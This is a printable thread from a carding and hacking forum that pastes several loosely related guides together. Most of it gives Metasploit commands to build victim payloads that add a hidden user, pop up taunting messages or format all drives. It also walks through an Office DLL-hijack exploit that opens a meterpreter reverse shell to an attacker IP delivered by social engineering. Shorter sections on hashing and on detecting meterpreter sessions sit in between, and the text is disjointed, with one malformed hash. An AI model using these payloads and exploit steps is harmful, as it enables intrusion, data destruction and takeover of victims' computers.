![]() |
|
[Guide] How to Fun with Metasploit Payloads - Printable Version +- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc) +-- Forum: Community (https://bhcforums.cc/Forum-Community) +--- Forum: General Discussion (https://bhcforums.cc/Forum-General-Discussion) +--- Thread: [Guide] How to Fun with Metasploit Payloads (/Thread-Guide-How-to-Fun-with-Metasploit-Payloads) |
[Guide] How to Fun with Metasploit Payloads - NINZA - 04-24-2020 Ordinarily small things have no use but whenever it comes up to their greater relevance then at a certain point of time it has a universalized impact and can create a complex situation. And this article is about some simple payloads that can help us to muddle with our victim. Hence, leaving a mark behind. Moreover, Metasploit is not about hacking but it’s also about hacking in style. There are a lot of payloads that are too good not to use. These payloads are like small droplets in an ocean but still, they matter and there are only a handful of people about these payloads. Also so far we have only learned about hardcore Metasploit but let’s see what more cools things it has to show us.
Table of Content :
Add User
Moving forward, let us learn how to make such payloads, open Metasploit and use windows/adduser payload. This payload lets you create another user in your victim’s PC.
In these payloads, we have the following parameters:f: for the format. o: for output. use windows/adduser set user raaz set pass Ignite@123 set wmic true generate -f exe -o /root/user.exe 1 2 3 4 5 use windows/adduser set user raaz set pass Ignite@123 set wmic true generate -f exe -o /root/user.exe ![]() With the execution of the above command, a new user will be created in your victim’s PC. And you can go to the shell of your victim’s PC and see the result. And to see the user’s type:
net user 1 net user ![]() Message Box
Another payload is windows/messagebox. This payload makes a pop-up message appear on a victim’s PC. The message can be anything you want along with the title. To create this payload again open Metasploit and use windows/messagebox. The commands are:
use windows/messagebox set text you have been hacked set title Important Message generate -f exe -o /root/message.exe 1 2 3 4 use windows/messagebox set text you have been hacked set title Important Message generate -f exe -o /root/message.exe ![]() And your payload is created. When you will send it and once the victim will open it then a pop-up message box will appear displaying your message like the following one:
![]() Format All Drives
Our next payload is windows/format_all_drives. This payload formats any desired drive. The commands to create this payload are :
use windows/format_all_drives set volumelabel 3 generate -f exe -o /root/format.exe 1 2 3 use windows/format_all_drives set volumelabel 3 generate -f exe -o /root/format.exe ![]() When the payload is sent and opened, it formats their drive.
Speak
Another such payload is speak_pwned. This payload is a one-line command payload which creates audio saying “you have been pawned” and now when the victim will open it then this audio will be played for him/her. And it’s command is :
use windows/speak_pwned generate -f exe -o /root/speak.exe 1 2 use windows/speak_pwned generate -f exe -o /root/speak.exe ![]() So that is how you can use different payloads to mess with your victim. Also, you can create this payload and keep it safe with you so that you can use it whenever you want. And please note that all these payloads are post-payloads to make these work you need to first hack your victim.
This way even the smaller things will make a difference; after all,l even a pawn can kill the king. And most importantly, once you are done with your victim you can leave him/her a souvenir.
Cryptography is the conversion of plain readable text into the unreadable form. In cryptography first, the data is converted into ciphertext (that is encryption) and then the ciphertext is converted back into readable form (that is decryption). Cryptography basically works on the concept of encryption and decryption. Encryption and decryption should not be confused with encoding and decoding, in which data is converted from one form to another but is not deliberately altered so as to conceal its content. Encryption is achieved through the algorithms. These algorithms are works with logic, mathematics calculations, and its complexities.
Hash Function is the most important function in Cryptography. A hash means a 1 to 1 relationship between data. This is a common data type in languages, although sometimes it’s called a dictionary. A hash algorithm is a way to take an input and always have the same output, otherwise known as a 1 to 1 function. An ideal hash function is when this same process always yields a unique output. So you can tell someone, here is a file, and here is its md5 hash. If the file has been corrupted during then the md5 hash will be a different value.
In practice, a hash function will always produce a value of the same size, for instance, md5 () it will always return 128bits no matter the size of the input. This makes a 1 to 1 relationship impossible. A cryptographic hash function takes extra precautions in making it difficult to produce 2 different inputs with the same output, this is called a collision. It also makes it difficult to reverse the function. Hash functions are used for password storage because if an attacker where to obtain the password’s hash then it forces the attacker to break the hash before he can use it to log in. To break hashes, attackers will take a word list or an English dictionary and find all of the corresponding hash values and then iterate through the list for each password looking for a match.
md5 (), sha0 and sha1 () are all vulnerable to hash collision attacks and should never be used for anything security related. Instead, any member of the sha-2 family, such as sha-256 should be used.
To calculate the Hash Value, we will use a Hash Calculator. Install Hash Calculator from –>
[To see content please register here] Hash function plays a major role in the hacking/forensic world because it helps us to know whether a particular file has changed or not. You can also calculate the hash value of your computer and know if anyone has made any kind of changes.
To calculate the hash value open Hash Calculator.
![]() ![]() After clicking on calculate it will give too hash values using four different hashing algorithms i.e MD5, SHA1, RIPEMD160, CRC32. You can check other boxes too if you want to use those algorithms to calculate the hash value.
This way Hash calculator helps us to know the hash value. Now if there are any changes made in this file, the hash value will change too.
Once I calculated the hash value above I made some changes in the file and calculated the hash value again with the same method and as a result, the hash value was changed.
![]() Now, we have two hash values. Let us compare both of these values of MD5. The value of first file is 1110808875326e25dl93e4ee096afaf1 and the value of other file is fb9d53883f302d78c978a583e8a85.
Seeing these two values of MD5 of the same file we can conclude that some changes are made. Because even the slightest difference will change the hash value.
But now the main question is how to detect this change because a file can be of 1TB too. Also, imagine that you are sending a hard disk full of important documents to someone and there is a huge possibility that someone can bribe the sender and make changes in your documents. So how can you detect these changes?
The answer is very simple –> Compare it! This tool helps us achieve our goal which is to detect the change.
Download Compare it! From —>
Open Compare it![To see content please register here] ![]() Click the file and a drop menu will appear. Select the compare files option. ![]() A Dialogue box will open which will ask you to choose the files that you want to compare. Click on Browse button and select your file. And click on Open.
![]() It will show you the changes by highlighting them with green colour and the red colour will tell the exact change as shown below:
![]() Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When we instantiate a vulnerable object, Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker’s DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system.
Exploit Targets
MS Office 2007
MS Office 2010
Requirement
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
![]() msf exploit (office_ole_multiple_dll_hijack)>set payload windows/meterpreter/reverse_tcp msf exploit (office_ole_multiple_dll_hijack)>set lhost 192.168.0.105 (IP of Local Host) msf exploit (office_ole_multiple_dll_hijack)>exploit ![]() After we successfully generate the malicious dll and ppsx File, it will stored on your local computer
/root/.msf4/local
![]() COMServices.ppsx is the file that you will zip and send to victim using various Social Engineering Technique that we have studied in previous articles.
![]() Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
exploit
Now send your malicious PPT files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
![]() Anti-Metasploit is an article to know about how can you detect if you are hacked by someone through Metasploit or not. Today, most of the time we stumble upon the ways about how we can be hacked or how to hack someone but no one tells you how to detect if you are hacked.
So, therefore, in this article, we will learn how to detect you have hacked someone through Metasploit. And to this there are two tools :
Both of these tools will help us to achieve our goal. These tools help you kill the meterpreter session that your hacker has gained. You can download these tools from –>
[To see content please register here] Antipwny
When you will double click on the software, a dialogue box will open and it will show the meterpreter file running in your computer as shown:
![]() ![]() And so you can detect the file and stop it too in just two simple steps.
Antimeter
When you open this software, it will scan the whole computer and it shows the virus containing the file. Also, it will ask you to kill the process or not. So, you type y for yes and the process will die.
![]() |